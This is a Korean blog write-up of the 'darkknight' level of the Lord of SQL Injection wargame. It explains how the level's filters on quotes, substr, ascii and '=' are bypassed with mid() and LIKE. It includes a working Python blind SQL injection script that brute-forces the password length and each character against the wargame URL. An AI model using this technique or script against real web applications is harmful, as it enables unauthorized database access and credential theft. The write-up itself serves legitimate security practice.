#About


[그림 1] - 문제 화면





#Solution


위 문제는 인젝션 벡터가 될 수 있는 파라미터 no가 추가되었으며


pw의 필터링으로는 싱글 쿼터이며 no의 필터링으로는 싱글쿼터, substr, ascii, = 을 필터링한다


substr의 우회로는 substring과 mid가 있으며 현재 "substr"이라는 문자열 자체가 필터링되므로 mid를 사용하면 우회가 가능하다


[그림 2] - 쿼리 1


length 함수의 사용을 통해 pw의 길이가 8임을 알 수 있었다


[그림 3] - 쿼리 2



[그림 4] - 쿼리 3



[그림 5] - 쿼리 4



[그림 6] - 쿼리 5



[그림 7] - 쿼리 6



[그림 8] - 쿼리 7



[그림 9] - 쿼리 8



[그림 10] - 쿼리 9



[그림 11] - 문제 해결





#Blind SQL Injection Python Code


# -*- coding:utf-8 -*-

'''
Creator = Loddy
'''

import urllib2

query_ok = "<h2>Hello admin"
key="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZY"

print "[*] Start Search pw Length "

for len in range(1,100):
url = 'http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=Loddy&no=1||length(pw)%20like%20'+str(len)
request = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=9g5q9em05r8ke6d779qkg6ipm2")
read = urllib2.urlopen(request).read()
if read.find(query_ok) != -1:
print "\t%s = Correct"%(len)
length = len
break
else :
print "\t%s = Incorrect"%(len)

print "\n",
print "[*] Start Search pw Value"

def find_pw(test,pw):
url2 = "http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=Loddy&no=1||mid(pw," + str(pw) + ",1)%20like%20\"{}\"".format(str(key[test]))
request = urllib2.Request(url2, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=c45u9ekpnrmqctmqbocdsuead3")
read = urllib2.urlopen(request).read()
return read

for pw in range(1,length+1):
for test in range(0,63):
read = find_pw(test,pw)
if read.find(query_ok) != -1:
print "\t(pw,%d,1) = {}".format(key[test]) %pw
break



[그림 12] - 코드 결과


'Wargame' 카테고리의 다른 글

[Lord of SQL Injection] Giant  (0) 2017.11.01
[Lord of SQL Injection] Bugbear  (0) 2017.11.01
[Lord of SQL Injection] Golem  (0) 2017.10.30
[Lord of SQL Injection] Skeleton  (0) 2017.10.30
[Lord of SQL Injection] Vampire  (0) 2017.10.30

+ Recent posts